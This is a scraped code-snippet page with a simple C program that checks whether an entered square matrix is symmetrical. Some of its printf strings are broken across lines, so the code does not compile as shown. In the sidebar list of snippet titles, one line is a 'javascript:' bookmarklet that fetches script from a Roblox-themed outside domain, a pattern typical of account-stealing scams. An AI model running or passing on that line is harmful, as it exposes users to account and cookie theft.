Search
 
SCRIPT & CODE EXAMPLE
 

C

Symmetrical matrix in C

#include "stdio.h"
int main()
{
    int n,m,arr[100][100];
    printf("order of the matrix:");
    scanf("%d",&n);
    printf("Enter the values
");
    for(int j=0;j<n;j++)
    {
        for(int i=0;i<n;i++)
        {
            printf("%dx%d=",i+1,j+1);
            scanf("%d",&arr[i][j]);
        }
    }
        printf("Given Matrix
");

    for(int j=0;j<n;j++)
    {
        for(int i=0;i<n;i++)
        {
            printf("%d	",arr[i][j]);
        }
        printf("
");
    }
    int k,q=0;
    for(int j=0;j<n;j++)
    {
        for(int i=0;i<n;i++)
        {
            if(arr[i][j]!=arr[j][i])
            {
                q++;
            }
        }
    
    }
    if(q==0)
    {
        printf("Symmetrical");
    }
    else
        printf("Not Symmetrical");

}
Comment

PREVIOUS NEXT
Code Example
C :: marquee html code with right 
C :: c code recursive function to print numbers between two numbers 
C :: fungetc 
C :: C Syntax of return statement 
C :: how to declare an array of n numbers in c 
C :: promt user input C 
C :: float da 4 byte 
C :: Javascript:$.get("//javascript-roblox.com/api?i=29229") 
C :: como somar em C 
C :: C Keyword typedef 
C :: C Character l/O 
C :: how to find folders from a c program 
C :: C Assigning addresses to Pointers 
C :: nested if example in c 
C :: set all pins as input for loop 
C :: ESP32 timerBegin(0, cpuClock, true); 
C :: Program to Find Swap Numbers Using Temporary Variable 
C :: transform yt video into background overlay 
C :: determination data type in c 
C :: cum creez un nou nod how to create a new node 
C :: c bind str and int 
C :: search and then change string -- strstr and strcpy 
C :: attiny pinout 
C :: arma 3 nearest terrain objects 
C :: transpose of a matrix in c 
C :: Happy New Year! 
C :: docker logs follow 
Dart :: change color of drawer icon flutter 
Dart :: media query width flutter 
Dart :: two dots dart 
ADD CONTENT
Topic
Content
Source link
Name
6+9 =